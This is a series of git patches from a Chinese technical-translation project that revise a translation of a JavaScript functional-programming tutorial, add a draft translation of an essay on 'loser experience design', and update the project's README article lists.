@@ -2,7 +2,7 @@
 > * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[sunui](http://suncafe.cc)
-> * 校对者：
+> * 校对者：[Aladdin-ADD](https://github.com/Aladdin-ADD)、[avocadowang](https://github.com/avocadowang)
 
 # 函数式程序员的 JavaScript 简介 (软件编写) #
 
@@ -10,10 +10,10 @@
 
 烟雾艺术魔方 — MattysFlicks — (CC BY 2.0)
 
-> Tip：这是“软件编写”系列文章的第四部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术。后续还有更多精彩内容，敬请期待！
+> 注意：这是“软件编写”系列文章的第三部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！
 > [< 上一篇](https://github.com/gy134340/gold-miner/blob/69bca85e75f4b99b33c193c21f577db93622ee8b/TODO/why-learn-functional-programming-in-javascript-composing-software.md)  | [<<第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)  | [下一篇 >](https://github.com/xitu/gold-miner/blob/master/TODO/higher-order-functions-composing-software.md)
 
-对于不熟悉 JavaScript 或 ES6+ 的同学，这里做一个简短的介绍。无论你是 JavaScript 开发新手还是有经验的老兵，你都可能学到一些新东西。以下内容仅是毛羽鳞鬣，吊吊大家的兴致。如果想知道更多，还需深入学习。敬请期待吧。
+对于不熟悉 JavaScript 或 ES6+ 的同学，这里做一个简短的介绍。无论你是 JavaScript 开发新手还是有经验的老兵，你都可能学到一些新东西。以下内容仅是浅尝辄止，吊吊大家的兴致。如果想知道更多，还需深入学习。敬请期待吧。
 
 
 学习编程最好的方法就是动手编程。我建议您使用交互式 JavaScript 编程环境（如 [CodePen](https://codepen.io/) 或 [Babel REPL](https://babeljs.io/repl/)）。
@@ -36,7 +36,7 @@
 'Hello'; // Hello
 ```
 
-表达式的值可以被赋予一个名称。执行此操作时，表达式首先被计算，取得的结果值被分配给该名称。对于这一点我们将使用 `const` 关键字。这不是唯一的方式，但这将是你使用最多的，所以目前我们就可以坚持使用 `const`。
+表达式的值可以被赋予一个名称。执行此操作时，表达式首先被计算，取得的结果值被赋值给该名称。对于这一点我们将使用 `const` 关键字。这不是唯一的方式，但这将是你使用最多的，所以目前我们就可以坚持使用 `const`。
 
 ```
 const hello = 'Hello';
@@ -51,7 +51,7 @@ JavaScript 支持另外两种变量声明关键字：`var`，还有 `let`。我
 
 因为 `var` 能告诉你很少关于这个变量的信息，所以它是最无力的声明标识。自从开始用 ES6，我就再也没在实际软件项目中有意使用 `var` 作声明了。
 
-注意一下，一个变量一旦用 `let` 或 `const` 声明，任何再次声明的尝试都将导致报错。如果你在 REPL（读取-求值-输出循环）环境中更喜欢多一些实验性和灵活性，那么建议你使用 `var` 声明变量，而不是 `const`。
+注意一下，一个变量一旦用 `let` 或 `const` 声明，任何再次声明的尝试都将导致报错。如果你在 REPL（读取-求值-输出循环）环境中更喜欢多一些实验性和灵活性，那么建议你使用 `var` 声明变量，与 `let` 和 `const` 不同，使用 `var` 重新声明变量是合法的。
 
 本文将使用 const 来让您习惯于为实际程序中用 `const`，而出于试验的目的自由切换回 `var`。
 
@@ -59,7 +59,7 @@ JavaScript 支持另外两种变量声明关键字：`var`，还有 `let`。我
 
 目前为止我们见到了两种数据类型：数字和字符串。JavaScript 也有布尔值（`true` 或 `false`）、数组、对象等。稍后我们再看其他类型。
 
-数组是一系列值的有序列表。可以把它比作一个能够装很多元素的盒子。这是一个数组字面量：
+数组是一系列值的有序列表。可以把它比作一个能够装很多元素的容器。这是一个数组字面量：
 
 ```
 [1, 2, 3];
@@ -234,13 +234,13 @@ double 4; // SyntaxError: Unexpected number
 
 函数的签名可以包含以下内容：
 
-1. 一个 **可用的** 函数名。
+1. 一个 **可选的** 函数名。
 2. 在括号里的一组参数。 参数的命名是可选的。
 3. 返回值的类型。
 
-JavaScript 中类型签名并不是强制规定。JavaScript 引擎将会在运行时断定类型。如果你提供足够的线索，签名信息也可以通过开发工具推断出来，比如一些 IDE（集成开发环境）和使用数据流分析的 [Tern.js](http://ternjs.net/)。
+JavaScript 的签名无需指定类型。JavaScript 引擎将会在运行时断定类型。如果你提供足够的线索，签名信息也可以通过开发工具推断出来，比如一些 IDE（集成开发环境）和使用数据流分析的 [Tern.js](http://ternjs.net/)。
 
-JavaScript 缺少它自己的函数签名语法，所以有几个竞争标准：JSDoc 在历史上非常流行，但它太过笨拙臃肿，没有人会不厌其烦地维护文档十七与代码同步，所以很多 JS 开发者都弃坑了。
+JavaScript 缺少它自己的函数签名语法，所以有几个竞争标准：JSDoc 在历史上非常流行，但它太过笨拙臃肿，没有人会不厌其烦地维护更新文档与代码同步，所以很多 JS 开发者都弃坑了。
 
 TypeScript 和 Flow 是目前的大竞争者。这二者都不能让我确定地知道怎么表达我需要的一切，所以我使用 [Rtype](https://github.com/ericelliott/rtype)，仅仅用于写文档。一些人倒退回 Haskell 的 curry-only [Hindley–Milner 类型系统](http://web.cs.wpi.edu/~cs4536/c12/milner-damas_principal_types.pdf)。如果仅用于文档，我很乐意看到 JavaScript 能有一个好的标记系统标准，但目前为止，我觉得当前的解决方案没有能胜任这个任务的。现在，怪异的类型标记即使和你在用的不尽相同，也就将就先用着吧。
 
@@ -254,7 +254,7 @@ double 函数的签名是：
 double(x: n) => n
 ```
 
-尽管事实上 JavaScript 不需要注释签名，知道何为签名和签名意味着什么依然很重要，它有助于你搞笑的交流函数是如何使用和如何构建的。大多数可重复使用的函数构建工具都需要你传入共享同样类型签名的函数。
+尽管事实上 JavaScript 不需要注释签名，知道何为签名和它意味着什么依然很重要，它有助于你高效地交流函数是如何使用和如何构建的。大多数可重复使用的函数构建工具都需要你传入同样类型签名的函数。
 
 ### 默认参数值 ###
 
@@ -266,7 +266,7 @@ const orZero = (n = 0) => n;
 
 如上，若想设置默认值，只需在传入参数时带上 `=` 操作符，比如 `n = 0`。当你用这种方式传入默认值，像 [Tern.js](http://ternjs.net/)、Flow、或者 TypeScript 这些类型检测工具可以自行推断函数的类型签名，甚至你不需要刻意声明类型注解。
 
-结果就是这样，在你的编辑器或者 IDE 中安装正确的插件，在你输入函数调用时，你可以看见内联显示的函数签名。依据它的调用签名，函数的使用方法也一目了然。无论起不起作用，使用默认值的做法可以让你的代码更可读。
+结果就是这样，在你的编辑器或者 IDE 中安装正确的插件，在你输入函数调用时，你可以看见内联显示的函数签名。依据它的调用签名，函数的使用方法也一目了然。无论起不起作用，使用默认值可以让你写出更具可读性的代码。
 
 > 注意： 使用默认值的参数不会增加函数的 `.length` 属性，比如使用依赖 `.length` 值的自动柯里化会抛出不可用异常。如果你碰上它，一些柯里化工具（比如 `lodash/curry`）允许你传入自定义参数来绕开这个限制。
 
@@ -308,14 +308,14 @@ const aTail = (head, ...tail) => tail;
 aTail(1, 2, 3); // [2, 3]
 ```
 
-剩余参数将各个元素组成一个数组。而扩展操作恰恰相反：它将一个数组中的元素扩展为独立元素。研究一下这个：
+剩余参数将各个元素组成一个数组。而展开操作恰恰相反：它将一个数组中的元素扩展为独立元素。研究一下这个：
 
 ```
 const shiftToLast = (head, ...tail) => [...tail, head];
 shiftToLast(1, 2, 3); // [2, 3, 1]
 ```
 
-JavaScript 数组在使用扩展操作符的时候会调用一个迭代器，对于数组中的每一个元素，迭代器丢回传递一个值。在 `[...tail, head]` 表达式中，迭代器按顺序从 `tail` 数组中拷贝到一个刚刚创建的新的数组。之前 head 已经是一个独立元素了，我们只需把它放到数组的末端，就完成了。
+JavaScript 数组在使用扩展操作符的时候会调用一个迭代器，对于数组中的每一个元素，迭代器都会传递一个值。在 `[...tail, head]` 表达式中，迭代器按顺序从 `tail` 数组中拷贝到一个刚刚创建的新的数组。之前 head 已经是一个独立元素了，我们只需把它放到数组的末端，就完成了。
 
 ### 柯里化 ###
 
@@ -337,7 +337,7 @@ const highpass = function highpass(cutoff) {
 };
 ```
 
-JavaScript 中箭头的大致异地就是“函数”。使用不同种的方式声明，函数行为会有一些重要的不同点（`=>` 缺少了它自己的 `this` ，不能用于构造），但当我们遇见那就知道不同之处了。现在，当你看见 `x => x`，想到的是 “一个携带 `x` 并且返回 `x` 的函数”。所以 `const highpass = cutoff => n => n >= cutoff;` 可以这样读：
+JavaScript 中箭头的大致意义就是“函数”。使用不同种的方式声明，函数行为会有一些重要的不同点（`=>` 缺少了它自己的 `this` ，不能作为构造函数），但当我们遇见那就知道不同之处了。现在，当你看见 `x => x`，想到的是 “一个携带 `x` 并且返回 `x` 的函数”。所以 `const highpass = cutoff => n => n >= cutoff;` 可以这样读：
 
 “`highpass` 是一个携带 `cutoff` 返回一个携带 `n` 并返回结果 `n >= cutoff` 的函数的函数”
 
@@ -350,7 +350,7 @@ gt4(6); // true
 gt4(3); // false
 ```
 
-自动柯里化让你自动地柯里化函数，以获得最大的灵活性。比如你有一个函数 `add3()`:
+自动柯里化函数，有利于获得最大的灵活性。比如你有一个函数 `add3()`:
 
 ```
 const add3 = curry((a, b, c) => a + b + c);
@@ -438,7 +438,7 @@ const arr = [1, 2, 3];
 arr.map(double); // [2, 4, 6]
 ```
 
-这个例子里，`arr` 是对象，`.map()` 是一个以函数为值的对象属性。当你调用它，这个函数会被应用给参数，和一个特别的参数叫做 `this`，`this` 在方法被调用之时自动设置。这个 `this` 的存在使 `.map()` 能够访问数组的上下文。
+这个例子里，`arr` 是对象，`.map()` 是一个以函数为值的对象属性。当你调用它，这个函数会被应用给参数，和一个特别的参数叫做 `this`，`this` 在方法被调用之时自动设置。这个 `this` 的存在使 `.map()` 能够访问数组的内容。
 
 注意我们传递给 `map` 的是 `double` 函数而不是直接调用。因为 `map` 携带一个函数作为参数并将函数应用给数组的每一个元素。它返回一个包含了 `double()` 返回值的新的数组。
 
@@ -450,14 +450,14 @@ arr; // [1, 2, 3]
 
 ### 方法链 ###
 
-你也可以链式调用方法。方法链是 在函数返回值上直接调用方法的过程，不需要给返回值命名：
+你也可以链式调用方法。方法链是指在函数返回值上直接调用方法的过程，在此期间不需要给返回值命名：
 
 ```
 const arr = [1, 2, 3];
 arr.map(double).map(double); // [4, 8, 12]
 ```
 
-返回布尔值（`true` 或 `false`）的函数叫做 **谓词**（predicate）。`.filter()` 方法携带谓词并返回一个新的数组，新数组中只包含传入谓词函数（返回 `true`）的元素：
+返回布尔值（`true` 或 `false`）的函数叫做 **断言**（predicate）。`.filter()` 方法携带断言并返回一个新的数组，新数组中只包含传入断言函数（返回 `true`）的元素：
 
 ```
 [2, 4, 6].filter(gt4); // [4, 6]
@@ -489,7 +489,7 @@ arr.map(double).map(double); // [4, 8, 12]
 
 ***Eric Elliott*** 是 [*“JavaScript 应用程序设计”*](http://pjabook.com)  (O’Reilly) 以及 [*“和 Eric Elliott 一起学习 JavaScript”*](http://ericelliottjs.com/product/lifetime-access-pass/) 的作者。 曾就职于 **Adobe Systems、Zumba Fitness、The Wall Street Journal、ESPN、BBC and top recording artists including Usher、Frank Ocean、Metallica** 等公司，具有丰富的软件实践经验。
 
-*他大多数时间在 San Francisco Bay Area ，和世界上最美丽的姑娘在一起。*
+**他大多数时间在 San Francisco By Area ，和世界上最美丽的姑娘在一起。**
 
 ---
 

From fb475897ad557e06da09c529e801e71e825871cd Mon Sep 17 00:00:00 2001
From: ylq167 <ylq950327@gmail.com>
Date: Tue, 18 Apr 2017 16:16:13 +0800
Subject: [PATCH 202/638] =?UTF-8?q?=E5=88=9D=E7=A8=BF=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/on-loser-experience-design.md | 29 ++++++++++++++++++++++++++++-
 1 file changed, 28 insertions(+), 1 deletion(-)

diff --git a/TODO/on-loser-experience-design.md b/TODO/on-loser-experience-design.md
index 733b4435aba..2d16101098d 100644
--- a/TODO/on-loser-experience-design.md
+++ b/TODO/on-loser-experience-design.md
@@ -5,65 +5,92 @@
 > * 校对者：
 
 # On Loser Experience Design #
+# 针对失败者的用户体验设计 #
 
 ## Designing platforms and products that aren’t just for winners, “influencers,” and “thought leaders.” ##
+## 设计平台或产品不仅仅是为了赢家，大 V 和意见领袖。##
 
 ![](https://cdn-images-1.medium.com/max/800/1*kVOEiUv3YK8tcYEa5QKmLA.jpeg)
 
 Turntable.fm, a Great Lesson in Loser Experience Design
+Turntable.fm，就是一个针对失败者的用户体验设计的教训。
 
 Do you remember turntable.fm? The idea behind the product was simple and brilliant: you join a virtual “room” with friends and/or strangers, and take turns DJing for each other. Like a lot of products that experience meteoric early-stage growth, it took a real-world behavior — social listening — and created a digital proxy that could instantly connect people across geographic and cultural divides. I was super-excited when turntable.fm launched, and I was not alone.
+你还记得 turntable.fm 吗？产品背后的理念是简单明确的：你和你的朋友或陌生人一起加入了一个虚拟的「房间」，轮流为对方进行 DJing？像许多经历过早期流行性增长的产品一样，它采用了现实世界的行为-社交性倾听-并创建了一个数字代理，可以将人们跨越地理和文化的鸿沟即时连接起来。当 turntable.fm 启动时，我非常激动，不会感觉到孤单。
 
 But the more I used turntable.fm, the more I started to feel like — well, a *loser*. I was primarily interested in discovering new music, not in becoming a **star virtual DJ**. But the platform seemed to offer no encouragement or incentives for being a good listener, no shiny prizes for thoughtfully engaging in conversation with my virtual roommates. My avatar remained puny and plain, while others grew mighty, adorned with jewels, and outfitted with cool animal costumes. Eventually, I just gave up.
+但是，当我使用 turntable.fm 越多，我愈发的开始觉得自己就像一个，呃，*失败者*。我主要感兴趣的是发现新的音乐，而不是成为一个**虚拟 DJ 明星**。但是这个平台似乎并没有对成为一个好的听众提供鼓励或激励，没有闪亮的奖品， 我的头像仍然是平淡无奇，而其他人则变得强大，装饰着珠宝，配备了清凉的动物服饰。最终，我只好放弃了。
 
 **Turntable.fm suffered from bad loser experience design: making casual users feel like unwitting competitors in a game they cannot win.**
+**Turntable.fm 对失败者的糟糕体验，使休闲用户感到在这个游戏中根本无法战胜强大的对手。
 
 In the absence of good loser experience design, products and platforms turn into ghost towns inhabited by thirsty would-be “influencers,” howling desperately into a void that was once occupied by curious, casual users. And in a world obsessed with performance metrics and status markers, bad loser experience design is all around us.
+在缺乏良好的对失败者的体验设计的情况下，产品和平台变成了「大 V」们驻扎的鬼城，拼命地陷入一个曾经被好奇的休闲用户占据的空洞。在一个痴迷性能指标和状态标记的世界中，糟糕的失败者体验设计就在我们周围。
 
 #### The Patterns of Bad Loser Experience Design ####
+#### 坏的失败者体验设计模式 ####
 
 Here are a few signs that your product may be suffering from **bad loser experience design:**
+这里有几个迹象表明你的产品可能有坏的失败者体验设计：
 
 ![](https://cdn-images-1.medium.com/max/600/1*k_ZpnygG7JhLUteHxZOJyQ.png)
 
 Illustration by [Joan LeMay](http://joanlemay.com) 
+插图来自于[Joan LeMay](http://joanlemay.com) 
 
 - **You have a “leaderboard” or a points system.**
+- **你有一个「排行榜」或者积分制度。**
 
 Yes, in the short-term, people may engage with a product for an abstract reward such as “points” or “[coins](https://techcrunch.com/2015/12/09/swarm-now-lets-you-spend-those-coins-on-upgraded-stickers/) .” But watch what happens as your users see themselves fall to the bottom of that “leaderboard” or fail to get any real value out of the time they’ve invested in earning those shiny trinkets. Competing for something only to realize that it’s worthless is embarrassing, frustrating, and makes you feel *like a huge loser*. Gratuitous “gamification” is one of the most odious and lazy patterns of bad loser experience design — and in the long term, it [doesn’t work](http://www.gartner.com/newsroom/id/2251015) .
+是的，短期来看，人们可以被一个抽象奖励的产品像「积分」或「[硬币](https://techcrunch.com/2015/12/09/swarm-now-lets-you-spend-those-coins-on-upgraded-stickers/)」激励。但是看看当你的用户看见他们自己落在「排行榜」的底部，或者在他们投资获得那些闪亮的小饰品的时间后但无法获得任何真正的价值时会发生什么。努力争取一些东西却意识到这是毫无价值的，令人尴尬沮丧的，会让你感觉自己「像一个彻底的失败者」。免费的「游戏化」是最糟糕和懒惰的坏的失败者体验设计模式之一。从长远看来，他[不起作用](http://www.gartner.com/newsroom/id/2251015)。
 
 - **You visually distinguish the winners from the losers.**
+- **你从视觉上区分赢家和失败者
 
 Twitter’s verification system was designed to foster trust by “verifying” that people are who they say they are. But in its early days, “verification” felt like a [badge of honor for “important” people](http://anildash.com/2013/03/what-its-like-being-verified-on-twitter.html) and an [aspirational delineator between the haves and have-nots](http://www.xojane.com/tech/how-to-get-verified-on-twitter) . Twitter took a great step towards mitigating this bad loser experience design when they bulk-verified journalists, making it clear that there was a functional *purpose* to this distinction and conferring it on people who are not high-status celebrities.
+Twiiter 的认证系统旨在通过「认证」用户是真实身份来促进信任。但是在初期，「认证」就像是一个[「重要的」人的荣誉勋章](http://anildash.com/2013/03/what-its-like-being-verified-on-twitter.html)，和一个[在有无勋章的人之间的阶级划分](http://www.xojane.com/tech/how-to-get-verified-on-twitter)。（翻译成阶级划分是否合适？）当 Twiiter 大力认证记者时，是为缓解这种糟糕的失败者体验设计迈出的重大一步，明确表示这个区别有功能性的*目的*，并会赋予不是高地位名人的人。
 
 - **You over-index on popularity metrics.**
+- **你过于重视受欢迎程度的指数。**
 
 This is perhaps the most widespread pattern of bad loser experience design. Trying to decide what content to surface? How about the most popular content! Trying to find some “interesting” users? Look for the ones who have the most followers! This is the “rich get richer” problem of bad loser experience design — by building platforms that reward the people who are already succeeding, you create a permanent and inaccessible overclass that tends to reward the people who are the most ruthless and aggressive about increasing their own status — even if it means gaming the system.
+这可能是最糟糕的失败者体验设计模式。试图决定表层的内容？最受欢迎的内容怎么样？试图寻找一些「有趣的」用户？寻找粉丝最多的人！这是糟糕的失败者用户体验设计中的「越富有则越富有」的问题-通过建立奖励已经获取成功的人的平台，创造一个永久性的难以接近的一类，倾向于奖励在提高他们自己身份上最无情最具有倾略性的这些人 -- 即使这意味着戏耍整个系统。
 
 - **You treat casual users like failed power users.**
+- **你将休闲用户当作失败的高级用户。**
 
 Zach Holman’s “[Don’t Give Your Users the Shit Work](https://zachholman.com/posts/shit-work/) ” does a great job of describing this bad loser experience pattern in action: a new user gets onboarded, and is immediately presented with a barrage of “power user” features that will help them get the *most* out of this product. If they neglect to use these features, they find themselves stuck in a kind of permanent limbo, nagged by reminders to use features they don’t need and unable to derive immediate value from the product. If you treat casual users like failed power users, they will start to *feel *like failures — and they will leave.
+Zach Holman 的「[不要给你的用户进行工作](https://zachholman.com/posts/shit-work/)」很好地描述了这个糟糕的失败者体验模式：一个新的用户上线后，立即呈现了一大堆「高级用户」的功能来帮助他们获得关于这个产品的「更多」内容。如果他们忽略使用这些功能。他们会发现自己陷入一种永久性的障碍，不停的重复提醒他们使用不需要的功能，也不能从产品中获得即时价值。如果你将休闲用户当作失败的高级用户，他们将开始*感觉*到失败 -- 然后他们会离开。
 
 #### Tips for Good Loser Experience Design ####
+#### 好的失败者用户体验设计的提示 ####
 
 While bad loser experience design can significantly harm a product, *good* loser experience design can help foster a broad, engaged, and self-sustaining user base. Here are a few tips for good loser experience design:
+糟糕的失败者体验设计可能会严重伤害产品，*良好的*失败者体验设计可以帮助培养广泛，有针对性和自我增长的用户群。 这里有一些好的失败者体验设计的提示：
 
 - **Help people find *their* people, not the most popular people.**
+- **帮助用户找到*他们（想要的）*人，而不是最受欢迎的人。**
 
 When platforms focus on shared interests and social bonds over “likes” and “favorites,” they help everybody find a place where they belong. Instagram has done a great job doing this with their discovery features, consistently surfacing people who are adjacent to *your* people, not people with the most likes or followers. Their new discovery features have helped me find my [guitar](https://www.instagram.com/leoleoband/) [people](https://www.instagram.com/lostincrystalcanyons/) , my [cat](https://www.instagram.com/scruffles_fatcat/)[people](https://www.instagram.com/12catslady/) , and even to discover a whole new community of [prairie](https://www.instagram.com/rinran032/) [dog](https://www.instagram.com/prairiedogpack/) [people](https://www.instagram.com/pimpa_wan/) . As I’ve used these discovery features more, I’ve started to pay *less attention to how many “follows” and “likes” I get, and more attention to the people with whom I interact* — which is a surefire signal of great loser experience design.
+当平台重点关注「赞」和「最爱」之间的共同利益和社交纽带时，他们帮助每个人找到一个他们所属的地方。Instagram 已经做了很好的工作，他们的发现功能，不断地表现出与*你的*人相邻的人，而不是最喜欢或粉丝。他们的新发现功能帮助我找到我的[吉他](https://www.instagram.com/leoleoband/)[人](https://www.instagram.com/lostincrystalcanyons/)，我的[cat](https://www.instagram.com/scruffles_fatcat/)[people](https://www.instagram.com/12catslady/)，甚至发现一个全新的[草原](https://www.instagram.com/rinran032/)社区[dog](https://www.instagram.com/prairiedogpack/)[people](https://www.instagram.com/pimpa_wan/)。正如我更多地使用这些发现功能，我已经开始更少关注我获得了多少「粉丝」和「赞」，并更多地关注与我互动的人 -- 这是一个好的失败者体验设计的信号。
 
 - **Give “passive” users meaningful ways to engage.**
+- **给「被动」用户有意义的方式来交流**
 
 Tumblr’s reblog feature is a great example of good loser experience design. If somebody sees something they like, they can *share it to their entire network*, rather than just leaving a comment or a “like.” This helps people engage with each other more deeply, and means that a post written by somebody with a small number of followers can find a wide audience as it makes its way through networks and communities of people. It also gives people who don’t want to “write” a post a meaningful way to contribute and engage.
+Tumblr 的重新登录功能是一个很好的失败者体验设计的例子。如果有人看到他们喜欢的东西，他们可以把它*分享给他们的整个网络*，而不仅仅是留下评论或「赞」，这样可以帮助人们更深入地互相交流，这意味着由数量不多追随者的写作的投递可以通过网络和社区来找到更广泛的观众。他也给不想「写」的人一个有意义的方式贡献与参与。
 
 - **Test your product with people who are not “power users.”**
+- **让不是「高级用户」的人测试你的产品。**
 
 Finally, and perhaps most importantly, break out of the design and testing patterns that lead to equating “power users” with “good users.” Over-reliance on internal “dogfooding,” where new products and features are tested primarily with a company’s own employees, is a one-way ticket to bad loser experience design. Dismissing user testing candidates who are not over the moon for your product is another surefire road to bad loser experience design. Think through the needs and behaviors of casual users as extensively as you think through those of “power users” — and ask yourself, “if I only use this product a few times a week, will it make me feel like a *loser*?”
+最后，也许最重要的是，突破了设计和测试模式，导致将「高级用户」和「好用户」画等号。过度依赖内部的「dogfooding」（一种测试方法，译者注），其中新产品和功能主要由公司自己的员工测试，这是通往坏的失败者体验设计的单程票。解散对你的产品不满意的用户测试候选人是另一个通往糟糕的失败者体验设计的可靠途径。通过对「高级用户」的思考，广泛的考虑休闲用户的需求和行为 -- 并问自己「如果我每周只用几次这款产品，会让我感觉像一个「失败者」吗？」
 
 #### Loser Experience Design in the Wild ####
+#### 野生的失败者体验设计 ####
 
 Has your day-to-day usage of a product or platform been affected by bad loser experience design? Leave a response and let me know your thoughts. And be sure to hit that “like” button, so that I can feel like a high-status *winner* right here on medium dot com.
-
+您的日常使用产品或平台是否受到糟糕的失败者体验设计的影响？发表回复，让我知道你的想法。并且一定要点赞，这样我就可以在 Medium 上感受到自己是一个高阶的*赢家*。
 
 ---
 

From a290035918670022204549867a0ef98a99c0af7e Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Tue, 18 Apr 2017 20:42:35 +0800
Subject: [PATCH 203/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20Reduce=EF=BC=88?=
 =?UTF-8?q?=E8=BD=AF=E4=BB=B6=E7=BC=96=E5=86=99=EF=BC=89=EF=BC=88=E7=AC=AC?=
 =?UTF-8?q?=E4=BA=94=E9=83=A8=E5=88=86=EF=BC=89=20=E7=9A=84=E7=A7=AF?=
 =?UTF-8?q?=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index e2285d108c8..4bafebc48ea 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [463](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [464](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [Reduce（软件编写）（第五部分）](https://juejin.im/post/58f44082da2f60005d3a3710?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
 * [跌宕起伏的函数式编程（软件编写）（第一部分）](https://juejin.im/post/58f0eb570ce463006ba37089?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [React 的慢与快：优化 React 应用实战](https://juejin.im/entry/58eb2fb0570c350057dd921a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([AceLeeWinnie(Jiang Haichao)](https://github.com/AceLeeWinnie) 翻译)
 * [使用开发者工具在浏览器中调整设计](https://juejin.im/post/58f0729b570c35005625630a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
-* [超越浏览器：从 web 应用到桌面应用](https://juejin.im/entry/58f07ea5ac502e006c1e0301?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index 4804e3add84..a101aeea2da 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [Reduce（软件编写）（第五部分）](https://juejin.im/post/58f44082da2f60005d3a3710?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
 * [跌宕起伏的函数式编程（软件编写）（第一部分）](https://juejin.im/post/58f0eb570ce463006ba37089?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [React 的慢与快：优化 React 应用实战](https://juejin.im/entry/58eb2fb0570c350057dd921a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([AceLeeWinnie(Jiang Haichao)](https://github.com/AceLeeWinnie) 翻译)
 * [使用开发者工具在浏览器中调整设计](https://juejin.im/post/58f0729b570c35005625630a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)

From 043efc3fbc7df6cd030be927cc9a13f1b4d3d5c4 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Tue, 18 Apr 2017 20:48:36 +0800
Subject: [PATCH 204/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20Go=20=E5=87=BD?=
 =?UTF-8?q?=E6=95=B0=E8=B0=83=E7=94=A8=20Redux=20=E7=9A=84=E7=A7=AF?=
 =?UTF-8?q?=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 4 ++--
 backend.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 4bafebc48ea..ccb12925f58 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [464](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [465](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -55,10 +55,10 @@
 
 ## 后端
 
+* [Go 函数调用 Redux](https://juejin.im/post/58f57be144d904006c09019c/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
 * [关于在 Node.js 中引用模块，知道这些就够了](https://juejin.im/post/58eb3812da2f60005f0bae9b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([zhouzihanntu](https://github.com/zhouzihanntu) 翻译)
 * [模块化 vs. 微服务](https://juejin.im/post/58eb2627da2f60005f0b2d60/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [在 Apache 和 Nginx 日志里检测爬虫机器人](https://juejin.im/post/58ea5758ac502e4957c78808/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([luoyaqifei](https://github.com/luoyaqifei) 翻译)
